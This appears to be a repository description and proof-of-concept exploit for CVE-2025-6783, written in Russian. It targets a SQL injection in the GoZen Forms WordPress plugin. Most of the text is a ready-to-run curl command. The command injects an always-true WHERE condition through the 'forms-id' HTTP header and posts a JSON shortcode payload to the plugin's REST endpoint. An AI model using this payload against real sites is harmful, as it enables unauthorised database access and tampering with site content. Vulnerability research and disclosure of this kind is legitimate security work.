jfriedli/cve-2025-6783Эксплойт proof-of-concept для CVE-2025-6783, демонстрирующий SQL-инъекцию через специально сформированные HTTP-заголовки и JSON-полезную нагрузку против конечной точки REST API WordPress GoZen Forms.
Внедрите всегда истинное условие в предложение WHERE, чтобы оно соответствовало каждой строке:
curl -i -X POST \
-H "Content-Type: application/json" \
-H "forms-id: poc-001' OR '1'='1' -- " \
-H "domain-id: example.com" \
-d '{
"emabed_type":"iframe",
"shortcode_title":"INJECTED",
"shortcode_tag":"[xss]",
"active":0
}' \
"http://your-site.com/index.php?rest_route=/gozen-forms/v1/embedsc"